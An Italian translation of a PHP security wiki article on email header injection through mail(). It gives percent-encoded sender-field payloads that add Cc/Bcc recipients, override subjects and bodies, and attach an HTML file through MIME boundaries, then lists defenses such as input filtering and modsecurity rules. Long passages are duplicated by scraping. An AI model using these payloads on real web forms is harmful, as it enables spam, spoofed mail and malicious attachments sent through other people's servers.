Ci sono tanti modi per inviare email anonime, molti li usano per fare mass mail, altri per spoof identity, e altri, pochi, per inviare email anonimamente. Solitamente un mail form web che usa la funzione mail() genera email che contengono headers con l'IP di origine del server dove girano. Di conseguenza il mailform agisce come un SMTP proxy. I campi input del form possono cambiare, ma è uso comune adottare mailform che vi danno il controllo dell'oggetto, del body del messaggio e del mittente dell'email.
Email Injection From SecurePHP Related Topics
Traduzione italiana by The_Stooge & Slippery for friends and not :)
Contenuti
Ci sono tanti modi per inviare email anonime, molti li usano per fare mass mail, altri per spoof identity, e altri, pochi, per inviare email anonimamente.
Solitamente un mail form web che usa la funzione mail() genera email che contengono headers con l'IP di origine del server dove girano.
Di conseguenza il mailform agisce come un SMTP proxy. I campi input del form possono cambiare, ma è uso comune adottare mailform che vi danno il controllo dell'oggetto, del body del messaggio e del mittente dell'email.
Uso della funzione : mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail()) Gli EXTRAPARAMS non sono solitamente forniti dall'input dell'utente, così questa parte possiamo anche saltarla.
La maggior parte dei webmaster, inoltre, mette accuratamente in sicurezza l'email del destinatario (RECIPIENT) all'interno della web-application, qualcuno potrebbe pensare che questo sia un limite ai modi con cui questo tipo di script può essere sfruttato, ma si sbaglia!
esempio 1
Quì un esempio di codice che illustra questo principio
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. From: Subject : Message :
{/codecitation}
Se guardiamo il form html, ovvero il suo codice, appare ovvio che uno nn può scegliere l'indirizzo a cui inviare la mail , perchè è scritto nel codice dello script.
Invece è possibile scegliere il subject, il messaggio, e l'indirizzo mail di chi invia (From: header).
Uso della funzione php mail();
La funzione php mail() si usa approssimativamente come di seguito, e produrrà un output così:
{codecitation}
To: $recipient Subject: $subject $headers $message
{/codecitation}
così possiamo chiamare la funzione come segue, l'output dei dati apparirà come questo:
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. Subject: Hello From: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. Hi, Your site is great. Bye
{/codecitation}
In questo esempio è possibile inserire o modificare headers dopo il 'From:' usando il form.
Ovviamente i campi 'message', 'To' e 'Subject' possono anche essere usati per l'iniezione di dati, ma la funzione mail() e le specifiche RFC possono filtrare ogni contenuto inviato da questi campi per prevenire che questi vengano abusati.
Qual'è il punto di iniezione degli headers mail?
In questo contesto, l'obbiettivo è poter inviare email anonime ad altre caselle.
Ci sono numerosi campi aggiuntivi che possono essere specificati negli headers delle mail (vedere [RFC 822]).
Per esempio 'Cc' (Carbon Copy), che invia una copia del messaggio a un indirizzo email fornito come argomento.
Una scelta migliore è usare 'Bcc' (Blind Carbon Copy) che invia una carbon copy del messaggio un po come l'header 'Cc', ad eccezione che le caselle riceventi nn vedranno gli altri indirizzi forniti come argomento.
Come specificato nel [RFC 822], si possono inserire linee a seguire per ogni header terminandole con il carattere (line feed), che ha il valore esadecimale 0x0A.
Così fornendo i seguenti valori allo script esempio di questo articolo:
{codecitation}
Sender : "Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.%0ACc:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.%0ABcc:somebloke-at-grrrr.xxx,someotherbloke-et-oooops.xxx" Subject : "ahem" Message : "My Message..."
{/codecitation}
I dati dell'email appariranno così:
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
Subject: ahem
From: sender-at-anonymous.xxx
Cc:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
Bcc:somebloke-at-grrrr.xxx,someotherbloke-at-oooops.xxx My Message...
{/codecitation}
... gli headers della mail sono stati iniettati con successo!
Contrariamente al fatto che l'unico header inseribile nel form HTML fosse 'From', l'email risultante è stata spedita a tre persone di vostra scelta: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo., Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. and Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
Nell'ultimo esempio, entrambi gli headers 'Cc' e 'Bcc' verranno usati per effettuare l'iniezione.
Potrebbe anche essere possibile usare l'header 'To', l'ultimo valore viene aggiunto (come nei campi "Cc" e "Bcc") al valore inserito nel codice dal webby.
esempio usando To:
Prendiamo gli stessi valori per subject e message, e diamo il seguente valore al mittente:
Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.%0ATo:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
l'output della mail è:
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. Subject: Hum From: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. To:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. My Message...
{/codecitation}
Ripetere l'header 'To' non sarà un problema, la mail sarà inviata a recipiente-at-victim.xxx e email1-at-who.xxx.
spamming
Ora andiamo a considerare uno scopo più restrittivo per inviare email anonime: lo spamming.
Molti siti danno la possibilità di inviare una pagina ad un'amico attraverso un web form, l'email risultante inviterà gentilmente a visitare il sito, facendo un favore all'user che ha compilato il form con il suo indirizzo mail e con l'email dell'amico a cui la pagina verrà inviata: A : Da:
Anche se il subject e il message sono scritti nel codice, c'è ancora un modo per iniettare gli headers (già sappiamo come aggiungere RECIPIENTS). Come premesso subito in questo articolo, dicevamo che l'header 'To' può essere inviato doppio, l'header 'Subject' non fa eccezione, e così per numerosi altri headers forniamo l'indirizzo del destinatario buddy-at-pal.xxx e quello del mittente misterburns-at-springfield.xxx%0ASubject:My%20Anonymous%20Subject l'email body apparirà così:
{codecitation}
To: buddy-at-pal.xxx
Subject: Visit our site www.website.xxx !
From: misterburns-at-springfield.xxx
Subject: My Anonymous Subject Hello, A friend thought you might want to see this page : www.website.xxx.
{/codecitation}
L'oggetto "My Anonymous Subject" sarà aggiunto a "Visit our site www.website.xxx !", e in alcuni casi lo sostituirà (dipende dal mail services, smtp relays, mail client, etc). Per esempio hotmail mostra l'oggetto aggiunto dentro al messaggio. Andiamo a vedere ora come modificare il message body. La differenza tra il body e gli headers è che il body non può essere identificato dal suo nome (From, To, etc) in quanto non esiste l'header 'Message' nell' [RFC 822]. Ecco esattamente come modificheremo questa parte della mail, un tag senza il nome di un header significa che comincia il body. Così invece di specificare un e un nome header, aggiungeremo solo un e mettiamo il nostro messaggio. Entrambi gli headers 'To' e 'Subject' sono già definiti, l'output risultante conterrà entrambi, il vecchio messaggio e quello iniettato, salvo che invece di aggiungersi dopo, venga messo prima. Forniamo questo mittente: badguy-at-badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message. e l'email apparirà così:
{codecitation}
To: buddy-at-pal.xxx
Subject: Visit our site www.website.xxx !
From: badguy-at-badboys.com My New Anonymous Message. Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
possiamo chiaramente vedere che il messaggio: My New Anonymous Message è stato messo prima del vecchio messaggio: Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye per avere alla fine qs messaggio: My New Anonymous Message Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
Ci sono altri headers oltre 'Cc', 'Bcc','To','Subject' e 'From' ma questo articolo non li coprirà tutti, molti non sono d'aiuto per questi esempi.
Tuttavia l'header 'Content-Type' può essere molto utile: questo header ha un valore che di default è settato a 'plain/text'.
E' possibile ridefinire questo header come 'text/html', e poi fornire del contenuto html al messaggio, dando questo valore all'indirizzo email del mittente:
{codecitation}
haxor-at-attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0AHTML%20Anonymous%20Message.%0A
{/codecitation}
l'email inviata sarà così:
{codecitation}
To: buddy-at-pal.xxx
Subject: Visit our site www.website.xxx !
From: haxor-at-attack.com
Content-Type:text/html My New HTML Anonymous Message. Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye when displayed, this email will have the text "HTML Anonymous Message." underlined.
{/codecitation}
MIME
La funzione mail() rispetta il MIME encoding. Conoscendolo, l'header 'Content-Type' può essere usato come veicolo per diverse infezioni. Il MIME encoding (Multipurpose Internet Mail Extensions) può essere usato - in aggiunta per inviare mail html - per allegare files (sound, image, txt, etc).
Il fatto è che l'header "Content-Type" può essere ridefinito come "multipart/mixed" (o "multipart/alternative" o "multipart/related"), anche se è già stato definito prima. Le possibilità di iniezione per questi header è quella che "multipart/mixed" può aiutarci a separare la mail in varie parti.
Qui un esempio in MIME format, con una parte recipient:
{codecitation}
To: recip-at-ient.xxx
Subject: Good Luck
From: sender-at-spoofed.xxx
Content-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; Good Luck for you work, bye --MyBoundary-- Hidden Text2
{/codecitation}
Prima vediamo l'header 'To', 'Subject' e 'From' poi il 'Content-Type' definito come 'multipart/mixed', poi il 'boundary' linea il cui valore è 'MyBoundary'.
Questo boundary è usato come separatore nel messaggio (vedi [RFC 822] per info dettagliate). E' anche usato per impostare l'inizio/fine della prima/ultima parte ( "--[THE BOUNDARY]" ).
Nota: "[THE BOUNDARY]" può essere sostituita da ogni valore (US/ASCII [:alnum:]).
Poi possiamo vedere una linea 'Hidden Text1'. Questo testo non sarà visibilile alla recipient, perchè è collocato prima della prima dichiarazione "boundary".
Poi possiamo vedere la linea '--MyBoundary', che annuncia l'inizio del primo messaggio, e poi, subito dopo l'header 'Content-Type' (che definirà il content type di questa specifica parte di messaggio), del semplice testo. Poi vediamo il messaggio, e la linea '--MyBoundary--', che annuncia la fine dell'email, e conseguentemente ha l'ultima parte 'Hidden Text2' nascosta alla maggioranza dei web clients.
Ora, il messaggio generato e l'oggetto, entrambi scritti nel php, vengono ignorati.
Così fornendo il seguente valore al mittente:
{codecitation}
haxor-at-attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A My%20Message.%0A--frog--
{/codecitation}
otteniamo :
{codecitation}
To: recip-at-ient.xxx
Subject: Visit www.website.xxx !
From: haxor-at-attack.xxx
Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html My Message. --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
e l'email ricevuta da "recip-at-ient.xxx" è un testo HTML contenente 'My Message.' Il messaggio pubblicitario: Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye NON è visualizzato.
Nota: boundary, questa volta è inviato senza quotes, solo per mostrare la sua applicazione quando magic_quotes_gpc=ON. Questo metodo è applicabile in diversi contesti. Immaginate uno script dove SENDER può essere specificato e dove molti altri campi (come nome, cognome, età , etc) sono rimbalzati nel corpo della mail una volta che il form viene inviato. In pratica è possibile avere gli stessi risultati (scegliendo esattamente quale messaggio il ricevente vedrà ) fornendo i seguenti valori al parametro SENDER:
{codecitation}
haxor-at-attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A
{/codecitation}
e nei campi opzionali (come nickname) :
{codecitation}
%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--
{/codecitation}
la mail apparirà come:
{codecitation}
To: ami-at-friends.xxx
Subject: Visit www.website.xxx !
From: haxor-at-attack.xxx
Content-Type:multipart/mixed; boundary=frog; Hello, A friend called --frog Content-Type:text/html My Message. --frog-- thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
Come potete vedere, il messaggio scritto nel codice viene diviso in due. Il valore del campo opzionale (nickname) viene sostituito dal messaggio iniettato, e qualsiasi cosa ci sia dopo il testo inserito NON sarà mostrato dal client mail.
compilazione / esempi
Ora l'ultimo esempio, scriviamo tutte le possibilità viste in quest'articolo, e anche di più... solo dando questo valore al sender :
{codecitation}
haxor-at-attack.xxx%0ASubject:Ooops%0ABcc:target-at-nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog; %0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html; name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File %0A%0A--frog--%0A
{/codecitation}
L'email viene inviata come di seguito:
{codecitation}
To: pal-at-friends.xxx
Subject: Visit www.website.xxx !
From: haxor-at-attack.xxx
Subject:Mwahahaha
Bcc:target-at-nothappy.xxx
Content-Type:multipart/mixed; boundary=frog; --frog
Content-Type:text/html HTML Message. --frog--
Content-Type:text/html;name=Nastycode.html;
Content-Transfer-Encoding:8bit
Content-Disposition: attachment HTML File --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
Così il mittente risulterà : "haxor-at-attack.xxx", l'oggetto è: "Visit www.website.xxx ! Oooops". l'email verrà ricevuta da "pal-at-friends.xxx", e la carbon copy verrà inviata a "target-at-nothappy.xxx". Il contenuto dell'email sarà HTML : HTML Message. un file chiamato "Nastycode.html" con content type "text/html" sarà allegato all'email: HTML File
soluzioni
Ci sono vari modi per rendere sicuro uno script vulnerabile a questi attacchi di iniezione.
regexps: La prima regola potrebbe essere quella di filtrare i dati inseriti dall'utente usando le espressioni regolari o le funzioni sulle stringhe: si possono anche aggiungere espressioni nel precedente script possiamo vedere che ogni occorrenza di "\r" o "\n" causerà un die(). "\n" è equivalente a (Line Feed o 0x0A/%0A in esadecimale), e "\r" è equivalente a (Carriage return o 0x0D/%0D in esadecimale).
Molti caratteri come %0A%0D possono essere usati come sostituto di %0A, ma è sempre l'ultimo carattere che è veramente pericoloso.
Zend_Mail: Potete usare il componente Zend_Mail come classe per l'invio di email Protegge da questi problemi di default, non è richiesto nessun controllo del programmatore.
Contenuti
- funzione php mail()
- esempio 1
- Uso della funzione php mail();
- Qual'è il punto di iniezione degli headers mail?
- esempio usando To:
- spamming:
- MIME
- compilazione / esempi
- soluzioni
- - 9.1 regexps
- - 9.2 Zend_Mail
- - 9.3 PEAR Mail
- - 9.4 Swift Mailer
- - 9.5 Suhosin
- - 9.6 modsecurity
- - 9.7 Due punti da ricordare osservando le iniezioni
- - 9.8 References
Ci sono tanti modi per inviare email anonime, molti li usano per fare mass mail, altri per spoof identity, e altri, pochi, per inviare email anonimamente.
Solitamente un mail form web che usa la funzione mail() genera email che contengono headers con l'IP di origine del server dove girano.
Di conseguenza il mailform agisce come un SMTP proxy. I campi input del form possono cambiare, ma è uso comune adottare mailform che vi danno il controllo dell'oggetto, del body del messaggio e del mittente dell'email.
Uso della funzione : mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail()) Gli EXTRAPARAMS non sono solitamente forniti dall'input dell'utente, così questa parte possiamo anche saltarla.
La maggior parte dei webmaster, inoltre, mette accuratamente in sicurezza l'email del destinatario (RECIPIENT) all'interno della web-application, qualcuno potrebbe pensare che questo sia un limite ai modi con cui questo tipo di script può essere sfruttato, ma si sbaglia!
esempio 1
Quì un esempio di codice che illustra questo principio
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. From: Subject : Message :
{/codecitation}
Se guardiamo il form html, ovvero il suo codice, appare ovvio che uno nn può scegliere l'indirizzo a cui inviare la mail , perchè è scritto nel codice dello script.
Invece è possibile scegliere il subject, il messaggio, e l'indirizzo mail di chi invia (From: header).
Uso della funzione php mail();
La funzione php mail() si usa approssimativamente come di seguito, e produrrà un output così:
{codecitation}
To: $recipient Subject: $subject $headers $message
{/codecitation}
così possiamo chiamare la funzione come segue, l'output dei dati apparirà come questo:
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. Subject: Hello From: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. Hi, Your site is great. Bye
{/codecitation}
In questo esempio è possibile inserire o modificare headers dopo il 'From:' usando il form.
Ovviamente i campi 'message', 'To' e 'Subject' possono anche essere usati per l'iniezione di dati, ma la funzione mail() e le specifiche RFC possono filtrare ogni contenuto inviato da questi campi per prevenire che questi vengano abusati.
Qual'è il punto di iniezione degli headers mail?
In questo contesto, l'obbiettivo è poter inviare email anonime ad altre caselle.
Ci sono numerosi campi aggiuntivi che possono essere specificati negli headers delle mail (vedere [RFC 822]).
Per esempio 'Cc' (Carbon Copy), che invia una copia del messaggio a un indirizzo email fornito come argomento.
Una scelta migliore è usare 'Bcc' (Blind Carbon Copy) che invia una carbon copy del messaggio un po come l'header 'Cc', ad eccezione che le caselle riceventi nn vedranno gli altri indirizzi forniti come argomento.
Come specificato nel [RFC 822], si possono inserire linee a seguire per ogni header terminandole con il carattere (line feed), che ha il valore esadecimale 0x0A.
Così fornendo i seguenti valori allo script esempio di questo articolo:
{codecitation}
Sender : "Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.%0ACc:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.%0ABcc:somebloke-at-grrrr.xxx,someotherbloke-et-oooops.xxx" Subject : "ahem" Message : "My Message..."
{/codecitation}
I dati dell'email appariranno così:
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
Subject: ahem
From: sender-at-anonymous.xxx
Cc:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
Bcc:somebloke-at-grrrr.xxx,someotherbloke-at-oooops.xxx My Message...
{/codecitation}
... gli headers della mail sono stati iniettati con successo!
Contrariamente al fatto che l'unico header inseribile nel form HTML fosse 'From', l'email risultante è stata spedita a tre persone di vostra scelta: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo., Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. and Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
Nell'ultimo esempio, entrambi gli headers 'Cc' e 'Bcc' verranno usati per effettuare l'iniezione.
Potrebbe anche essere possibile usare l'header 'To', l'ultimo valore viene aggiunto (come nei campi "Cc" e "Bcc") al valore inserito nel codice dal webby.
esempio usando To:
Prendiamo gli stessi valori per subject e message, e diamo il seguente valore al mittente:
Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.%0ATo:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo.
l'output della mail è:
{codecitation}
To: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. Subject: Hum From: Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. To:Questo indirizzo email è protetto dagli spambots. È necessario abilitare JavaScript per vederlo. My Message...
{/codecitation}
Ripetere l'header 'To' non sarà un problema, la mail sarà inviata a recipiente-at-victim.xxx e email1-at-who.xxx.
spamming
Ora andiamo a considerare uno scopo più restrittivo per inviare email anonime: lo spamming.
Molti siti danno la possibilità di inviare una pagina ad un'amico attraverso un web form, l'email risultante inviterà gentilmente a visitare il sito, facendo un favore all'user che ha compilato il form con il suo indirizzo mail e con l'email dell'amico a cui la pagina verrà inviata: A : Da:
Anche se il subject e il message sono scritti nel codice, c'è ancora un modo per iniettare gli headers (già sappiamo come aggiungere RECIPIENTS). Come premesso subito in questo articolo, dicevamo che l'header 'To' può essere inviato doppio, l'header 'Subject' non fa eccezione, e così per numerosi altri headers forniamo l'indirizzo del destinatario buddy-at-pal.xxx e quello del mittente misterburns-at-springfield.xxx%0ASubject:My%20Anonymous%20Subject l'email body apparirà così:
{codecitation}
To: buddy-at-pal.xxx
Subject: Visit our site www.website.xxx !
From: misterburns-at-springfield.xxx
Subject: My Anonymous Subject Hello, A friend thought you might want to see this page : www.website.xxx.
{/codecitation}
L'oggetto "My Anonymous Subject" sarà aggiunto a "Visit our site www.website.xxx !", e in alcuni casi lo sostituirà (dipende dal mail services, smtp relays, mail client, etc). Per esempio hotmail mostra l'oggetto aggiunto dentro al messaggio. Andiamo a vedere ora come modificare il message body. La differenza tra il body e gli headers è che il body non può essere identificato dal suo nome (From, To, etc) in quanto non esiste l'header 'Message' nell' [RFC 822]. Ecco esattamente come modificheremo questa parte della mail, un tag senza il nome di un header significa che comincia il body. Così invece di specificare un e un nome header, aggiungeremo solo un e mettiamo il nostro messaggio. Entrambi gli headers 'To' e 'Subject' sono già definiti, l'output risultante conterrà entrambi, il vecchio messaggio e quello iniettato, salvo che invece di aggiungersi dopo, venga messo prima. Forniamo questo mittente: badguy-at-badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message. e l'email apparirà così:
{codecitation}
To: buddy-at-pal.xxx
Subject: Visit our site www.website.xxx !
From: badguy-at-badboys.com My New Anonymous Message. Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
possiamo chiaramente vedere che il messaggio: My New Anonymous Message è stato messo prima del vecchio messaggio: Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye per avere alla fine qs messaggio: My New Anonymous Message Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
Ci sono altri headers oltre 'Cc', 'Bcc','To','Subject' e 'From' ma questo articolo non li coprirà tutti, molti non sono d'aiuto per questi esempi.
Tuttavia l'header 'Content-Type' può essere molto utile: questo header ha un valore che di default è settato a 'plain/text'.
E' possibile ridefinire questo header come 'text/html', e poi fornire del contenuto html al messaggio, dando questo valore all'indirizzo email del mittente:
{codecitation}
haxor-at-attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0AHTML%20Anonymous%20Message.%0A
{/codecitation}
l'email inviata sarà così:
{codecitation}
To: buddy-at-pal.xxx
Subject: Visit our site www.website.xxx !
From: haxor-at-attack.com
Content-Type:text/html My New HTML Anonymous Message. Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye when displayed, this email will have the text "HTML Anonymous Message." underlined.
{/codecitation}
MIME
La funzione mail() rispetta il MIME encoding. Conoscendolo, l'header 'Content-Type' può essere usato come veicolo per diverse infezioni. Il MIME encoding (Multipurpose Internet Mail Extensions) può essere usato - in aggiunta per inviare mail html - per allegare files (sound, image, txt, etc).
Il fatto è che l'header "Content-Type" può essere ridefinito come "multipart/mixed" (o "multipart/alternative" o "multipart/related"), anche se è già stato definito prima. Le possibilità di iniezione per questi header è quella che "multipart/mixed" può aiutarci a separare la mail in varie parti.
Qui un esempio in MIME format, con una parte recipient:
{codecitation}
To: recip-at-ient.xxx
Subject: Good Luck
From: sender-at-spoofed.xxx
Content-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; Good Luck for you work, bye --MyBoundary-- Hidden Text2
{/codecitation}
Prima vediamo l'header 'To', 'Subject' e 'From' poi il 'Content-Type' definito come 'multipart/mixed', poi il 'boundary' linea il cui valore è 'MyBoundary'.
Questo boundary è usato come separatore nel messaggio (vedi [RFC 822] per info dettagliate). E' anche usato per impostare l'inizio/fine della prima/ultima parte ( "--[THE BOUNDARY]" ).
Nota: "[THE BOUNDARY]" può essere sostituita da ogni valore (US/ASCII [:alnum:]).
Poi possiamo vedere una linea 'Hidden Text1'. Questo testo non sarà visibilile alla recipient, perchè è collocato prima della prima dichiarazione "boundary".
Poi possiamo vedere la linea '--MyBoundary', che annuncia l'inizio del primo messaggio, e poi, subito dopo l'header 'Content-Type' (che definirà il content type di questa specifica parte di messaggio), del semplice testo. Poi vediamo il messaggio, e la linea '--MyBoundary--', che annuncia la fine dell'email, e conseguentemente ha l'ultima parte 'Hidden Text2' nascosta alla maggioranza dei web clients.
Ora, il messaggio generato e l'oggetto, entrambi scritti nel php, vengono ignorati.
Così fornendo il seguente valore al mittente:
{codecitation}
haxor-at-attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A My%20Message.%0A--frog--
{/codecitation}
otteniamo :
{codecitation}
To: recip-at-ient.xxx
Subject: Visit www.website.xxx !
From: haxor-at-attack.xxx
Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html My Message. --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
e l'email ricevuta da "recip-at-ient.xxx" è un testo HTML contenente 'My Message.' Il messaggio pubblicitario: Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye NON è visualizzato.
Nota: boundary, questa volta è inviato senza quotes, solo per mostrare la sua applicazione quando magic_quotes_gpc=ON. Questo metodo è applicabile in diversi contesti. Immaginate uno script dove SENDER può essere specificato e dove molti altri campi (come nome, cognome, età , etc) sono rimbalzati nel corpo della mail una volta che il form viene inviato. In pratica è possibile avere gli stessi risultati (scegliendo esattamente quale messaggio il ricevente vedrà ) fornendo i seguenti valori al parametro SENDER:
{codecitation}
haxor-at-attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A
{/codecitation}
e nei campi opzionali (come nickname) :
{codecitation}
%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--
{/codecitation}
la mail apparirà come:
{codecitation}
To: ami-at-friends.xxx
Subject: Visit www.website.xxx !
From: haxor-at-attack.xxx
Content-Type:multipart/mixed; boundary=frog; Hello, A friend called --frog Content-Type:text/html My Message. --frog-- thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
Come potete vedere, il messaggio scritto nel codice viene diviso in due. Il valore del campo opzionale (nickname) viene sostituito dal messaggio iniettato, e qualsiasi cosa ci sia dopo il testo inserito NON sarà mostrato dal client mail.
compilazione / esempi
Ora l'ultimo esempio, scriviamo tutte le possibilità viste in quest'articolo, e anche di più... solo dando questo valore al sender :
{codecitation}
haxor-at-attack.xxx%0ASubject:Ooops%0ABcc:target-at-nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog; %0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html; name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File %0A%0A--frog--%0A
{/codecitation}
L'email viene inviata come di seguito:
{codecitation}
To: pal-at-friends.xxx
Subject: Visit www.website.xxx !
From: haxor-at-attack.xxx
Subject:Mwahahaha
Bcc:target-at-nothappy.xxx
Content-Type:multipart/mixed; boundary=frog; --frog
Content-Type:text/html HTML Message. --frog--
Content-Type:text/html;name=Nastycode.html;
Content-Transfer-Encoding:8bit
Content-Disposition: attachment HTML File --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye Bye
{/codecitation}
Così il mittente risulterà : "haxor-at-attack.xxx", l'oggetto è: "Visit www.website.xxx ! Oooops". l'email verrà ricevuta da "pal-at-friends.xxx", e la carbon copy verrà inviata a "target-at-nothappy.xxx". Il contenuto dell'email sarà HTML : HTML Message. un file chiamato "Nastycode.html" con content type "text/html" sarà allegato all'email: HTML File
soluzioni
Ci sono vari modi per rendere sicuro uno script vulnerabile a questi attacchi di iniezione.
regexps: La prima regola potrebbe essere quella di filtrare i dati inseriti dall'utente usando le espressioni regolari o le funzioni sulle stringhe: si possono anche aggiungere espressioni nel precedente script possiamo vedere che ogni occorrenza di "\r" o "\n" causerà un die(). "\n" è equivalente a (Line Feed o 0x0A/%0A in esadecimale), e "\r" è equivalente a (Carriage return o 0x0D/%0D in esadecimale).
Molti caratteri come %0A%0D possono essere usati come sostituto di %0A, ma è sempre l'ultimo carattere che è veramente pericoloso.
Zend_Mail: Potete usare il componente Zend_Mail come classe per l'invio di email Protegge da questi problemi di default, non è richiesto nessun controllo del programmatore.
PEAR Mail: La classe Mail di PEAR fornisce una protezione anche da questi problemi dalla version 1.1.13
Swift Mailer: La classe Swift Mailer non è vulnerabile a questo attacco.
Swift Mailer: La classe Swift Mailer non è vulnerabile a questo attacco.
Suhosin: L'estensione Suhosin di PHP fornisce la direttiva ini suhosin.mail.protect, con tre differenti livelli di protezione.
modsecurity: mod_security è anche un buon software che può porre fine alle Bcc injection a livello server. Con modsecurity è possibile esaminare il POST o il GET body di bcc:, cc:, o to: e rifutare ogni richiesta che contenga qs lettere. Per una maggior protezione dalle iniezioni, aggiungete la seguente riga al vostro setup di modsecurity: SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*-at-" gotroot.com è una grande risorsa per modsecurity rules. Ed è una buona idea usare le loro regole e configurazioni per proteggere gli utenti anche da altri exploit php. Ogni virtual host ha versioni che possono avere modsecurity disabilitabile aggiungendo il seguente settaggio al VirtualHost container: SecFilterEngine Off
Due punti da ricordare approposito delle injection:
Ogni dato esistente messo DOPO il punto di iniezione può essere sostituito.
Ogni dato da aggiungere sarà sempre posto DOPO il punto di iniezione (es: 'From').
C'è un altro buon motivo per usare questa misura di sicurezza, nonostante il fatto che i valori di SUBJECT e RECIPIENT passati alla funzione mail() vengano puliti: usando Emacs, l'header "Fcc" è protetto da iniezioni. Il campo "Fcc" contiene il nome di un file e forza Emacs ad accodare una copia della mail a quel file, prima di inviare il messaggio. Anche se questo funziona su Emacs, non è posibile con la funzione mail() del php. Altre possibili vulnerabilità MIME non sono sviluppate in questo articolo.
References
* frogman. Email Headers Injection Using mail() Function (French).
* tobozo. English translation. * Installing mod_security Retrieved from "http://www.securephpwiki.com/index.php/Email_Injection"
modsecurity: mod_security è anche un buon software che può porre fine alle Bcc injection a livello server. Con modsecurity è possibile esaminare il POST o il GET body di bcc:, cc:, o to: e rifutare ogni richiesta che contenga qs lettere. Per una maggior protezione dalle iniezioni, aggiungete la seguente riga al vostro setup di modsecurity: SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*-at-" gotroot.com è una grande risorsa per modsecurity rules. Ed è una buona idea usare le loro regole e configurazioni per proteggere gli utenti anche da altri exploit php. Ogni virtual host ha versioni che possono avere modsecurity disabilitabile aggiungendo il seguente settaggio al VirtualHost container: SecFilterEngine Off
